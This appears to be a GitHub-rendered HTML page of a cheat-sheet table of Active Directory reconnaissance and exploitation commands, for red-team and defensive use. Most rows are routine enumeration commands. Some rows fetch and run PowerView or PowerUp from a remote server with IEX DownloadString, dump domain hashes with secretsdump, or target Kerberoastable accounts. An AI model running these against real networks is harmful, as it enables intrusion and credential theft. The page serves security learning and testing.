-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathindex.html
919 lines (911 loc) · 49.4 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<link rel="icon" href="/assets/favicon.jpg">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>LOLAD and AD Exploitation</title>
<link rel="stylesheet" href="assets/style.css"> <!-- Link para CSS, caso tenha um arquivo de estilo -->
</head>
<body>
<script>
function filterCommands() {
const query = document.getElementById('searchBox').value.toLowerCase();
const rows = document.querySelectorAll('#commandTable tbody tr');
rows.forEach(row => {
const commandName = row.cells[0].textContent.toLowerCase();
const command = row.cells[1].textContent.toLowerCase();
const type = row.cells[2].textContent.toLowerCase();
if (commandName.includes(query) || command.includes(query) || type.includes(query)) {
row.style.display = '';
} else {
row.style.display = 'none';
}
});
}
</script>
<nav style="text-align: center; margin-top: 20px;">
<a href="index.html" style="margin-right: 15px; text-decoration: none; color: #f5a623;">Home</a>
</nav>
<div class="header-box">
<a href="https://github.com/LOLAD-Project/LOLAD-Project.github.io/blob/main/README.md">
<img src="assets/logo.jpg" height="150" style="margin-right: 10px;">
</a>
<div>
<h2>Living Off The Land and Exploitation Active Directory</h2>
<h4>Exploiting Fileless attack, LOTL Commands and Functions</h4>
<p>Click on the logo to visit the Github repository.</p>
<p> It's not just about Living off the Land Attacks, after all the resources are very scarce, but also a large collection of commands and resources.</p>
<p>The <strong>LOLAD and Exploitation</strong> project provides a comprehensive collection of Active Directory techniques, commands, and functions that can be used natively to support offensive security operations and Red Team exercises. These techniques leverage AD’s built-in tools to conduct reconnaissance, privilege escalation, and lateral movement, among other tactics. Understanding these methods helps defenders strengthen AD configurations and improve monitoring capabilities.</p>
<p>For contributions and guidelines, please see the <a href="https://github.com/LOLAD-Project/LOLAD-Project.github.io/tree/main">contribution guide</a>.</p>
<p><span style="font-style: italic;">MITRE ATT&CK® and ATT&CK® are registered trademarks of The MITRE Corporation.</span> You can explore the ATT&CK® Navigator mapping of this project on the <a href="https://mitre-attack.github.io/attack-navigator/#layerURL=/mitre_attack_navigator_layer.json">ATT&CK® Navigator</a>.</p>
<p>Explore other useful resources:</p>
<ul>
<li>For UNIX binaries, visit <a href="https://gtfobins.github.io/">gtfobins.github.io</a>.</li>
<li>For Windows binaries, visit <a href="https://lolbas-project.github.io/">lolbas-project.github.io</a>.</li>
<li>For application-based techniques, visit <a href="https://lolapps-project.github.io/">lolapps-project.github.io</a>.</li>
<li>For Vulnerable Drivers to BYOVD Techniques, visit <a href="https://www.loldrivers.io/">loldrivers.io</a>.</li>
<li>Active Directory Methodology for Test <a href="https://book.hacktricks.xyz/windows-hardening/active-directory-methodology">hacktricks.xyz</a>.</li>
</ul>
</div>
</div>
<h3>Active Directory Techniques and Commands</h3>
<p>The table below lists some common AD techniques along with commands and scripts for each. You can keep adding entries as needed.</p>
<nav style="text-align: center; margin: 20px;">
<input type="text" id="searchBox" placeholder="Search for commands..." onkeyup="filterCommands()" style="padding: 10px; width: 50%;">
</nav>
<table id="commandTable" border="1" cellpadding="10" cellspacing="0" width="100%" style="margin-top: 20px;">
<thead>
<tr>
<th>Technique/Command Name</th>
<th>Command</th>
<th>Type</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>Collect Domain SID</td>
<td><code>Get-ADDomain | Select-Object SID</code></td>
<td>PowerShell</td>
<td><a href="https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-addomain" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>List Domain Controllers</td>
<td><code>nltest /dclist:domain</code></td>
<td>CMD</td>
<td><a href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731935(v=ws.11)" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>Enumerate Domain Groups</td>
<td><code>Get-ADGroup -Filter * | Select-Object Name</code></td>
<td>PowerShell</td>
<td><a href="https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-adgroup" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>Check AD Replication Status</td>
<td><code>repadmin /replsummary</code></td>
<td>CMD</td>
<td><a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/repadmin" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>Enumerate Domain Users</td>
<td><code>Get-ADUser -Filter * | Select-Object Name, SamAccountName</code></td>
<td>PowerShell</td>
<td><a href="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" target="_blank">AD Exploitation Cheat Sheet</a></td>
</tr>
<tr>
<td>Get Domain Password Policy</td>
<td><code>Get-ADDefaultDomainPasswordPolicy</code></td>
<td>PowerShell</td>
<td><a href="https://github.com/tobor88/PowerShell-Red-Team" target="_blank">PowerShell Red Team</a></td>
</tr>
<tr>
<td>Identify Members of Domain Admins</td>
<td><code>Get-ADGroupMember -Identity "Domain Admins"</code></td>
<td>PowerShell</td>
<td><a href="https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-adgroupmember" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>Check Kerberos Ticket Policy</td>
<td><code>Get-ADDefaultDomainPasswordPolicy | Select-Object -ExpandProperty KerberosTicketPolicy</code></td>
<td>PowerShell</td>
<td><a href="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" target="_blank">AD Exploitation Cheat Sheet</a></td>
</tr>
<tr>
<td>List All Organizational Units (OUs)</td>
<td><code>Get-ADOrganizationalUnit -Filter *</code></td>
<td>PowerShell</td>
<td><a href="https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-adorganizationalunit" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>Identify Users with Delegation Privileges</td>
<td><code>Get-ADUser -Filter {TrustedForDelegation -eq $true}</code></td>
<td>PowerShell</td>
<td><a href="https://github.com/tobor88/PowerShell-Red-Team" target="_blank">PowerShell Red Team</a></td>
</tr>
<tr>
<td>List AD Users with Details</td>
<td><code>Get-ADUser -Filter * -Properties DisplayName, EmailAddress, LastLogonDate</code></td>
<td>PowerShell</td>
<td><a href="https://learn.microsoft.com/en-us/powershell/module/activedirectory" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>Identify Accounts with SPNs (Kerberoasting)</td>
<td><code>Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName</code></td>
<td>PowerShell</td>
<td><a href="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" target="_blank">AD Exploitation Cheat Sheet</a></td>
</tr>
<tr>
<td>Find Admin Accounts</td>
<td><code>dsquery user -name *admin*</code></td>
<td>CMD</td>
<td><a href="https://book.hacktricks.xyz/windows-hardening/active-directory-methodology" target="_blank">HackTricks - AD Methodology</a></td>
</tr>
<tr>
<td>List all Domain Computers</td>
<td><code>Get-ADComputer -Filter * | Select-Object Name, OperatingSystem</code></td>
<td>PowerShell</td>
<td><a href="https://medium.com/@zycc2727/enumerating-active-directory-e1356579ebd" target="_blank">Medium - AD Enumeration</a></td>
</tr>
<tr>
<td>Check Group Policy Objects (GPOs)</td>
<td><code>Get-GPO -All</code></td>
<td>PowerShell</td>
<td><a href="https://activedirectorypro.com/powershell-commands/" target="_blank">Active Directory Pro</a></td>
</tr>
<tr>
<td>List Privileged Groups</td>
<td><code>net group "Domain Admins" /domain</code></td>
<td>CMD</td>
<td><a href="https://www.hackthebox.com/blog/active-directory-penetration-testing-cheatsheet-and-guide" target="_blank">HackTheBox - AD Pentesting Guide</a></td>
</tr>
<tr>
<td>Find Machines with Unconstrained Delegation</td>
<td><code>Get-ADComputer -Filter {TrustedForDelegation -eq $true}</code></td>
<td>PowerShell</td>
<td><a href="https://github.com/tobor88/PowerShell-Red-Team" target="_blank">PowerShell Red Team</a></td>
</tr>
<tr>
<td>Check User Account Lockout Status</td>
<td><code>Get-ADUser -Filter * -Properties LockedOut | Where-Object {$_.LockedOut -eq $true}</code></td>
<td>PowerShell</td>
<td><a href="https://www.exploit-db.com/docs/english/46990-active-directory-enumeration-with-powershell.pdf?ref=secjuice.com" target="_blank">Exploit-DB - AD Enumeration Guide</a></td>
</tr>
<tr>
<td>Identify Expired Passwords</td>
<td><code>Search-ADAccount -PasswordExpired | Select-Object Name, PasswordExpired</code></td>
<td>PowerShell</td>
<td><a href="https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/ad-enumeration" target="_blank">Pentest Everything - AD Enumeration</a></td>
</tr>
<tr>
<td>Query all Domain Services</td>
<td><code>nltest /dsgetdc:domain</code></td>
<td>CMD</td>
<td><a href="https://medium.com/r3d-buck3t/domain-enumeration-with-active-directory-powershell-module-7ce4fcfe91d3" target="_blank">Medium - AD Enumeration with PowerShell</a></td>
</tr>
<tr>
<td>Enumerate Trusted Domains</td>
<td><code>nltest /trusted_domains</code></td>
<td>CMD</td>
<td><a href="https://github.com/geeksniper/active-directory-pentest" target="_blank">GitHub - AD Pentest</a></td>
</tr>
<tr>
<td>List AD Sites</td>
<td><code>Get-ADReplicationSite -Filter *</code></td>
<td>PowerShell</td>
<td><a href="https://learn.microsoft.com/en-us/powershell/module/activedirectory" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>Get Domain Forest Information</td>
<td><code>Get-ADForest</code></td>
<td>PowerShell</td>
<td><a href="https://www.cbtnuggets.com/blog/certifications/microsoft/6-common-active-directory-powershell-commands" target="_blank">CBT Nuggets - Common AD Commands</a></td>
</tr>
<tr>
<td>Find SID History for Users (SID History Abuse)</td>
<td><code>Get-ADUser -Filter * -Properties SIDHistory | Where-Object {$_.SIDHistory}</code></td>
<td>PowerShell</td>
<td><a href="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" target="_blank">AD Exploitation Cheat Sheet</a></td>
</tr>
<tr>
<td>Check Domain Controller Certificates</td>
<td><code>certutil -dcinfo verify</code></td>
<td>CMD</td>
<td><a href="https://github.com/tobor88/PowerShell-Red-Team" target="_blank">PowerShell Red Team</a></td>
</tr>
<tr>
<td>Import PowerView Module</td>
<td><code>powershell -c "IEX (New-Object Net.WebClient).DownloadString('http://remoteserver/PowerView.ps1'); Get-NetUser"</code></td>
<td>PowerShell</td>
<td><a href="https://github.com/PowerShellMafia/PowerSploit" target="_blank">PowerSploit - PowerView</a></td>
</tr>
<tr>
<td>Import PowerUp Module</td>
<td><code>powershell -c "IEX (New-Object Net.WebClient).DownloadString('http://remoteserver/PowerUp.ps1'); Invoke-AllChecks"</code></td>
<td>PowerShell</td>
<td><a href="https://github.com/PowerShellMafia/PowerSploit" target="_blank">PowerSploit - PowerUp</a></td>
</tr>
<tr>
<td>Find Domain Admins with PowerView</td>
<td><code>Get-NetGroup -GroupName "Domain Admins" | Get-NetGroupMember</code></td>
<td>PowerShell (PowerView)</td>
<td><a href="https://github.com/PowerShellMafia/PowerSploit" target="_blank">PowerSploit - PowerView</a></td>
</tr>
<tr>
<td>List All Domains with PowerView</td>
<td><code>Get-NetDomain</code></td>
<td>PowerShell (PowerView)</td>
<td><a href="https://book.hacktricks.xyz/windows-hardening/active-directory-methodology" target="_blank">HackTricks - AD Methodology</a></td>
</tr>
<tr>
<td>Enumerate Domain Trusts with PowerView</td>
<td><code>Get-NetDomainTrust</code></td>
<td>PowerShell (PowerView)</td>
<td><a href="https://medium.com/@zycc2727/enumerating-active-directory-e1356579ebd" target="_blank">Medium - AD Enumeration</a></td>
</tr>
<tr>
<td>Find Local Privilege Escalation Paths with PowerUp</td>
<td><code>Invoke-AllChecks</code></td>
<td>PowerShell (PowerUp)</td>
<td><a href="https://github.com/PowerShellMafia/PowerSploit" target="_blank">PowerSploit - PowerUp</a></td>
</tr>
<tr>
<td>Identify Local Administrators with PowerUp</td>
<td><code>Get-LocalGroupMember -Group "Administrators"</code></td>
<td>PowerShell</td>
<td><a href="https://github.com/PowerShellMafia/PowerSploit" target="_blank">PowerSploit - PowerUp</a></td>
</tr>
<tr>
<td>Search for Kerberoastable Accounts with PowerView</td>
<td><code>Get-NetUser -SPN | Select-Object servicePrincipalName</code></td>
<td>PowerShell (PowerView)</td>
<td><a href="https://github.com/PowerShellMafia/PowerSploit" target="_blank">PowerSploit - PowerView</a></td>
</tr>
<tr>
<td>List All Sessions on Domain Machines with PowerView</td>
<td><code>Get-NetSession -ComputerName target-machine</code></td>
<td>PowerShell (PowerView)</td>
<td><a href="https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/ad-enumeration" target="_blank">Pentest Everything - AD Enumeration</a></td>
</tr>
<tr>
<td>Enumerate Local Admins on All Domain Machines with PowerView</td>
<td><code>Invoke-EnumerateLocalAdmin -ComputerName target-machine</code></td>
<td>PowerShell (PowerView)</td>
<td><a href="https://github.com/PowerShellMafia/PowerSploit" target="_blank">PowerSploit - PowerView</a></td>
</tr>
<tr>
<td>Find Weak File Permissions with PowerUp</td>
<td><code>Invoke-CheckLocalAdminAccess</code></td>
<td>PowerShell (PowerUp)</td>
<td><a href="https://github.com/PowerShellMafia/PowerSploit" target="_blank">PowerSploit - PowerUp</a></td>
</tr>
<tr>
<td>Check Writable Registry Paths with PowerUp</td>
<td><code>Invoke-AllChecks | Select-Object WritableRegPaths</code></td>
<td>PowerShell (PowerUp)</td>
<td><a href="https://github.com/PowerShellMafia/PowerSploit" target="_blank">PowerSploit - PowerUp</a></td>
</tr>
<tr>
<td>Dump Domain Hashes with SecretsDump</td>
<td><code>secretsdump.py domain/username:password@target</code></td>
<td>Python (Impacket)</td>
<td><a href="https://github.com/SecureAuthCorp/impacket" target="_blank">Impacket - SecretsDump</a></td>
</tr>
<tr>
<td>Check Domain Policies with PowerView</td>
<td><code>Get-DomainPolicy</code></td>
<td>PowerShell (PowerView)</td>
<td><a href="https://github.com/PowerShellMafia/PowerSploit" target="_blank">PowerSploit - PowerView</a></td>
</tr>
<tr>
<td>Identify Interesting ACLs with PowerView</td>
<td><code>Find-InterestingDomainAcl</code></td>
<td>PowerShell (PowerView)</td>
<td><a href="https://github.com/PowerShellMafia/PowerSploit" target="_blank">PowerSploit - PowerView</a></td>
</tr>
<tr>
<td>Enumerate Domain Users (LDAP)</td>
<td><code>dsquery user -name *</code></td>
<td>CMD</td>
<td><a href="https://activedirectorypro.com/powershell-commands/" target="_blank">Active Directory Pro</a></td>
</tr>
<tr>
<td>Get Domain Information</td>
<td><code>Get-ADDomain</code></td>
<td>PowerShell</td>
<td><a href="https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-addomain" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>Enumerate Domain Forest</td>
<td><code>Get-ADForest</code></td>
<td>PowerShell</td>
<td><a href="https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-adforest" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>List All Users in the Domain</td>
<td><code>net user /domain</code></td>
<td>CMD</td>
<td><a href="https://activedirectorypro.com/powershell-commands/" target="_blank">Active Directory Pro</a></td>
</tr>
<tr>
<td>Get Domain Functional Level</td>
<td><code>Get-ADDomain | Select-Object DomainMode</code></td>
<td>PowerShell</td>
<td><a href="https://book.hacktricks.xyz/windows-hardening/active-directory-methodology" target="_blank">HackTricks - AD Methodology</a></td>
</tr>
<tr>
<td>List Domain Groups</td>
<td><code>Get-ADGroup -Filter * | Select-Object Name</code></td>
<td>PowerShell</td>
<td><a href="https://medium.com/@zycc2727/enumerating-active-directory-e1356579ebd" target="_blank">Medium - AD Enumeration</a></td>
</tr>
<tr>
<td>Query Domain Controllers in Domain</td>
<td><code>nltest /dclist:domain</code></td>
<td>CMD</td>
<td><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/nltest" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>Find DC Site Information</td>
<td><code>nltest /dsgetsite</code></td>
<td>CMD</td>
<td><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/nltest" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>List All Computers in Domain</td>
<td><code>Get-ADComputer -Filter *</code></td>
<td>PowerShell</td>
<td><a href="https://activedirectorypro.com/powershell-commands/" target="_blank">Active Directory Pro</a></td>
</tr>
<tr>
<td>Get All Subnets in the Forest</td>
<td><code>Get-ADReplicationSubnet -Filter *</code></td>
<td>PowerShell</td>
<td><a href="https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-adreplicationsubnet" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>Check LDAP Server Status</td>
<td><code>nltest /dsgetdc:domain /ldaponly</code></td>
<td>CMD</td>
<td><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/nltest" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>Get AD DNS Zone Information</td>
<td><code>Get-DnsServerZone</code></td>
<td>PowerShell</td>
<td><a href="https://learn.microsoft.com/en-us/powershell/module/dnsserver/get-dnsserverzone" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>Check Domain Group Membership</td>
<td><code>net group "GroupName" /domain</code></td>
<td>CMD</td>
<td><a href="https://www.cbtnuggets.com/blog/certifications/microsoft/6-common-active-directory-powershell-commands" target="_blank">CBT Nuggets - AD Commands</a></td>
</tr>
<tr>
<td>Get Domain Users Last Logon Time</td>
<td><code>Get-ADUser -Filter * -Properties LastLogonDate | Select Name, LastLogonDate</code></td>
<td>PowerShell</td>
<td><a href="https://medium.com/r3d-buck3t/domain-enumeration-with-active-directory-powershell-module-7ce4fcfe91d3" target="_blank">Medium - AD Enumeration</a></td>
</tr>
<tr>
<td>List all Service Accounts</td>
<td><code>Get-ADUser -Filter {ServicePrincipalName -ne "$null"} | Select Name, ServicePrincipalName</code></td>
<td>PowerShell</td>
<td><a href="https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/ad-enumeration" target="_blank">Pentest Everything - AD Enumeration</a></td>
</tr>
<tr>
<td>Get Password Policy of Domain</td>
<td><code>Get-ADDefaultDomainPasswordPolicy</code></td>
<td>PowerShell</td>
<td><a href="https://activedirectorypro.com/powershell-commands/" target="_blank">Active Directory Pro</a></td>
</tr>
<tr>
<td>List Open File Shares on Domain Machines</td>
<td><code>net view \\target-machine</code></td>
<td>CMD</td>
<td><a href="https://www.exploit-db.com/docs/english/46990-active-directory-enumeration-with-powershell.pdf?ref=secjuice.com" target="_blank">Exploit-DB - AD Enumeration</a></td>
</tr>
<tr>
<td>Find Active Directory Sites</td>
<td><code>Get-ADReplicationSite -Filter *</code></td>
<td>PowerShell</td>
<td><a href="https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-adreplicationsite" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>List Organizational Units (OUs)</td>
<td><code>Get-ADOrganizationalUnit -Filter *</code></td>
<td>PowerShell</td>
<td><a href="https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-adorganizationalunit" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>Check Group Policy for Computer</td>
<td><code>gpresult /r /scope computer</code></td>
<td>CMD</td>
<td><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>Query DNS Servers in Domain</td>
<td><code>Get-DnsServerResourceRecord -ZoneName "domain.local"</code></td>
<td>PowerShell</td>
<td><a href="https://learn.microsoft.com/en-us/powershell/module/dnsserver/get-dnsserverresourcerecord" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>Enumerate Global Catalog Servers</td>
<td><code>nltest /dsgetdc:/gc</code></td>
<td>CMD</td>
<td><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/nltest" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>Get Domain Password Expiration Policy</td>
<td><code>net accounts /domain</code></td>
<td>CMD</td>
<td><a href="https://www.hackthebox.com/blog/active-directory-penetration-testing-cheatsheet-and-guide" target="_blank">HackTheBox - AD Pentesting Guide</a></td>
</tr>
<tr>
<td>Get Domain Controllers</td>
<td><code>Get-ADDomainController -Filter *</code></td>
<td>PowerShell</td>
<td><a href="https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-addomaincontroller" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>Enumerate All Organizational Units (OUs)</td>
<td><code>Get-ADOrganizationalUnit -Filter * | Select-Object Name, DistinguishedName</code></td>
<td>PowerShell</td>
<td><a href="https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-adorganizationalunit" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>List Users in Specific Group</td>
<td><code>Get-ADGroupMember -Identity "Domain Admins" | Select-Object Name, SamAccountName</code></td>
<td>PowerShell</td>
<td><a href="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" target="_blank">AD Exploitation Cheat Sheet</a></td>
</tr>
<tr>
<td>Check Last Logon Time for All Users</td>
<td><code>Get-ADUser -Filter * -Properties LastLogonDate | Where-Object {$_.LastLogonDate -ne $null} | Select-Object Name, LastLogonDate</code></td>
<td>PowerShell</td>
<td><a href="https://activedirectorypro.com/powershell-commands/" target="_blank">Active Directory Pro</a></td>
</tr>
<tr>
<td>List Active Directory Sites</td>
<td><code>Get-ADReplicationSite -Filter *</code></td>
<td>PowerShell</td>
<td><a href="https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-adreplicationsite" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>Find Local Administrators on a Machine</td>
<td><code>net localgroup Administrators</code></td>
<td>CMD</td>
<td><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/net-localgroup" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>Get Domain Users with Expired Passwords</td>
<td><code>Search-ADAccount -PasswordExpired | Select-Object Name, PasswordExpired</code></td>
<td>PowerShell</td>
<td><a href="https://www.hackthebox.com/blog/active-directory-penetration-testing-cheatsheet-and-guide" target="_blank">HackTheBox - AD Pentesting Guide</a></td>
</tr>
<tr>
<td>Query Domain Forest Global Catalog</td>
<td><code>nltest /gc</code></td>
<td>CMD</td>
<td><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/nltest" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>Check Domain Admin Account Status</td>
<td><code>Get-ADUser -Filter {MemberOf -RecursiveMatch 'Domain Admins'} | Select-Object Name, Enabled</code></td>
<td>PowerShell</td>
<td><a href="https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/ad-enumeration" target="_blank">Pentest Everything - AD Enumeration</a></td>
</tr>
<tr>
<td>List Privileged Accounts in Domain</td>
<td><code>Get-ADUser -Filter {AdminCount -eq 1} | Select-Object Name, SamAccountName</code></td>
<td>PowerShell</td>
<td><a href="https://medium.com/r3d-buck3t/domain-enumeration-with-active-directory-powershell-module-7ce4fcfe91d3" target="_blank">Medium - AD Enumeration</a></td>
</tr>
<tr>
<td>Enumerate Group Policy Objects (GPO)</td>
<td><code>Get-GPO -All | Select-Object DisplayName, GpoStatus</code></td>
<td>PowerShell</td>
<td><a href="https://github.com/tobor88/PowerShell-Red-Team" target="_blank">PowerShell Red Team</a></td>
</tr>
<tr>
<td>Identify Computers with Unconstrained Delegation</td>
<td><code>Get-ADComputer -Filter {TrustedForDelegation -eq $true} | Select-Object Name, DNSHostName</code></td>
<td>PowerShell</td>
<td><a href="https://github.com/PowerShellMafia/PowerSploit" target="_blank">PowerSploit - PowerView</a></td>
</tr>
<tr>
<td>List All Domain Groups and Their Members</td>
<td><code>Get-ADGroup -Filter * | ForEach-Object {Get-ADGroupMember -Identity $_.Name | Select Name, SamAccountName}</code></td>
<td>PowerShell</td>
<td><a href="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" target="_blank">AD Exploitation Cheat Sheet</a></td>
</tr>
<tr>
<td>Find Domain Password Policy Settings</td>
<td><code>net accounts /domain</code></td>
<td>CMD</td>
<td><a href="https://activedirectorypro.com/powershell-commands/" target="_blank">Active Directory Pro</a></td>
</tr>
<tr>
<td>List Service Principal Names (SPNs)</td>
<td><code>Get-ADUser -Filter {ServicePrincipalName -ne "$null"} | Select-Object Name, ServicePrincipalName</code></td>
<td>PowerShell</td>
<td><a href="https://book.hacktricks.xyz/windows-hardening/active-directory-methodology" target="_blank">HackTricks - AD Methodology</a></td>
</tr>
<tr>
<td>Enumerate DNS Servers</td>
<td><code>Get-DnsServer | Select-Object Name, IPAddress</code></td>
<td>PowerShell</td>
<td><a href="https://learn.microsoft.com/en-us/powershell/module/dnsserver/get-dnsserver" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>List Delegated Admins on Specific OU</td>
<td><code>Get-ACL "OU=TestOU,DC=domain,DC=com" | Format-List</code></td>
<td>PowerShell</td>
<td><a href="https://medium.com/@zycc2727/enumerating-active-directory-e1356579ebd" target="_blank">Medium - AD Enumeration</a></td>
</tr>
<tr>
<td>Identify Expired Accounts</td>
<td><code>Search-ADAccount -AccountExpired | Select-Object Name, Enabled</code></td>
<td>PowerShell</td>
<td><a href="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" target="_blank">AD Exploitation Cheat Sheet</a></td>
</tr>
<tr>
<td>Check Domain Controller Synchronization Status</td>
<td><code>repadmin /showrepl</code></td>
<td>CMD</td>
<td><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/repadmin" target="_blank">Microsoft Documentation</a></td>
</tr>
<tr>
<td>Find Computers with LAPS Enabled</td>
<td><code>Find-AdmPwdExtendedRights -Identity "OU=Workstations,DC=domain,DC=com"</code></td>
<td>PowerShell</td>
